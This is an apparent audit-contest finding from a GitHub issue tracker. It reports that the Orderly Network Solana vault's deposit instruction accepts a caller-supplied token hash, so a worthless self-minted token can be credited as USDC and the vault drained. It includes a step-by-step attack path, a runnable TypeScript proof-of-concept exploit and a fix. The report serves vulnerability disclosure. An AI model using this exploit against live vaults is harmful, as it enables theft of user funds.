sherlock-audit / 2024-09-orderly-network-solana-contract-judging

0 stars 0 forks source link

Petite Pecan Starfish - malicious user can drain solana vault #85

Open sherlock-admin4 opened 4 days ago

sherlock-admin4 commented 4 days ago

Petite Pecan Starfish

High

malicious user can drain solana vault

Summary

malicious user can drain solana vault

Root Cause

admin can specity which tokens can deposit into solana vault and for every token a token hash will be generated and when a user want to deposit into vault they should send token hash as a parameter and based on that solana vault give them permission to deposit into vault but this is a wrong and malicious user can bypass that

PoC

Textual PoC: 1-admin call set_token with usdc as parameter,its mean users just can deposit usdc 2-malicious user mints a fake token and then create a token account with fake token 3-malicious user call deposit instruction with token account belongs to fake token and token hash generated for usdc as a paramter 4-deposit function send a message to layer zero with usdc token hash as a parameter 5-ledger will be updated by received message from layer zero 6-malicious user requests withdrawal siguature 7-orderly network execute user's withdrawal request and send usdc to receiver instead of fake token

Coded PoC: please run commands based on readme and then replace 05deposit_vault.ts

PoC ```typescript import * as anchor from "@coral-xyz/anchor"; import { Keypair, PublicKey, SystemProgram, Transaction, ComputeBudgetProgram, sendAndConfirmTransaction } from "@solana/web3.js"; import { hexlify } from '@ethersproject/bytes' import { OftTools } from "@layerzerolabs/lz-solana-sdk-v2"; import { Options } from "@layerzerolabs/lz-v2-utilities"; import * as utils from "./utils"; import * as constants from "./constants"; import { PacketPath } from '@layerzerolabs/lz-v2-utilities' import { EndpointProgram, EventPDADeriver, SimpleMessageLibProgram, UlnProgram } from '@layerzerolabs/lz-solana-sdk-v2' import OAppIdl from "../target/idl/solana_vault.json"; import { SolanaVault } from "../target/types/solana_vault"; import { utf8 } from "@coral-xyz/anchor/dist/cjs/utils/bytes"; const OAPP_PROGRAM_ID = new PublicKey(OAppIdl.metadata.address); const OAppProgram = anchor.workspace.SolanaVault as anchor.Program; const [provider, wallet, rpc] = utils.setAnchor(); async function deposit() { console.log("Setting up Vault..."); const lookupTableAddresses = utils.printPda(OAPP_PROGRAM_ID, wallet, rpc); const senderAddress = wallet.publicKey; // const receiverAddress = new PublicKey("4bbnSXvV48dPEecRwbaQwWw4ajXKiMuUvN29zNY1LqY3"); const receiverAddress = senderAddress; const usdc = constants.DEV_FAKE_ACCOUNT; const userUSDCAccount = await utils.createUSDCAccount(provider, wallet, usdc, wallet.publicKey); console.log("💶 User USDCAccount", userUSDCAccount.toBase58()); console.log("p1_usdc:", usdc) console.log("p1_constants.MOCK_USDC_ACCOUNT:", constants.MOCK_USDC_ACCOUNT) // if (usdc === constants.MOCK_USDC_ACCOUNT && provider.connection.rpcEndpoint === constants.LOCAL_RPC) { const amountToMint = 10000; await utils.mintUSDC(provider, wallet, usdc, userUSDCAccount, amountToMint); // } let fakeUserBalance = await provider.connection.getBalance(userUSDCAccount) console.log("usdc_user_balance:", fakeUserBalance.toString()) const vaultAuthorityPda = utils.getVaultAuthorityPda(OAPP_PROGRAM_ID); console.log("🔑 Vault Deposit Authority PDA:", vaultAuthorityPda.toBase58()); const vaultUSDCAccount = await utils.getUSDCAccount(usdc, vaultAuthorityPda); console.log("💶 Vault USDCAccount", vaultUSDCAccount.toBase58()); const brokerId = "woofi_pro"; const tokenSymbol = "USDC"; const brokerHash = utils.getBrokerHash(brokerId); console.log("Broker Hash:", brokerHash); const codedBrokerHash = Array.from(Buffer.from(brokerHash.slice(2), 'hex')); const tokenHash = utils.getTokenHash(tokenSymbol); console.log("Token Hash:", tokenHash); const codedTokenHash = Array.from(Buffer.from(tokenHash.slice(2), 'hex')); const solAccountId = utils.getSolAccountId(receiverAddress, brokerId); console.log("Sol Account Id:", solAccountId); const codedAccountId = Array.from(Buffer.from(solAccountId.slice(2), 'hex')); console.log("fake_address:", usdc) const vaultDepositParams = { accountId: codedAccountId, brokerHash: codedBrokerHash, tokenHash: codedTokenHash, userAddress: Array.from(receiverAddress.toBuffer()), tokenAmount: new anchor.BN(5000_000_000_000), }; const sendParam = { nativeFee: new anchor.BN(1_000_000_000), lzTokenFee: new anchor.BN(0), } const allowedBrokerPda = utils.getBrokerPda(OAPP_PROGRAM_ID, brokerHash); const allowedTokenPda = utils.getTokenPda(OAPP_PROGRAM_ID, tokenHash); const ixDepositEntry = await OAppProgram.methods.deposit(vaultDepositParams, sendParam).accounts({ userTokenAccount: userUSDCAccount, vaultAuthority: vaultAuthorityPda, vaultTokenAccount: vaultUSDCAccount, depositToken: usdc, user: wallet.publicKey, peer: lookupTableAddresses[2], enforcedOptions: lookupTableAddresses[5], oappConfig: lookupTableAddresses[0], allowedBroker: allowedBrokerPda, allowedToken: allowedTokenPda }).remainingAccounts([ // ENDPOINT solana/programs/programs/uln/src/instructions/endpoint/send.rs { isSigner: false, isWritable: false, pubkey: constants.ENDPOINT_PROGRAM_ID, }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[0], }, { isSigner: false, isWritable: false, pubkey: constants.SEND_LIB_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[7], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[9], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[8], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[14], }, { isSigner: false, isWritable: true, pubkey: lookupTableAddresses[15], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[3], }, // ULN solana/programs/programs/uln/src/instructions/endpoint/send.rs { isSigner: false, isWritable: false, pubkey: constants.ENDPOINT_PROGRAM_ID, }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[13], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[10], }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[11], }, { isSigner: true, isWritable: false, pubkey: wallet.publicKey, }, { isSigner: false, isWritable: false, pubkey: constants.TREASURY_PROGRAM_ID, }, { isSigner: false, isWritable: false, pubkey: SystemProgram.programId, }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[12], }, { isSigner: false, isWritable: false, pubkey: constants.SEND_LIB_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: constants.EXECUTOR_PROGRAM_ID }, { isSigner: false, isWritable: true, pubkey: lookupTableAddresses[16] }, { isSigner: false, isWritable: false, pubkey: constants.PRICE_FEED_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[17] }, { isSigner: false, isWritable: false, pubkey: constants.DVN_PROGRAM_ID }, { isSigner: false, isWritable: true, pubkey: lookupTableAddresses[18] }, { isSigner: false, isWritable: false, pubkey: constants.PRICE_FEED_PROGRAM_ID }, { isSigner: false, isWritable: false, pubkey: lookupTableAddresses[17] } ]).instruction(); const ixAddComputeBudget = ComputeBudgetProgram.setComputeUnitLimit({ units: 400_000 }); console.log("Deposit Entry:"); await utils.createAndSendV0TxWithTable( [ixDepositEntry, ixAddComputeBudget], provider, wallet, lookupTableAddresses, OAPP_PROGRAM_ID ); } deposit(); ```

Code Snippet

https://github.com/sherlock-audit/2024-09-orderly-network-solana-contract/blob/main/solana-vault/packages/solana/contracts/programs/solana-vault/src/instructions/vault_instr/deposit.rs#L85

Impact

1-malicious user can bypass allowed token hash 2-malicious user can drain vault

Mitigation

consider to generate token hash in deposit instruction instead of get that from user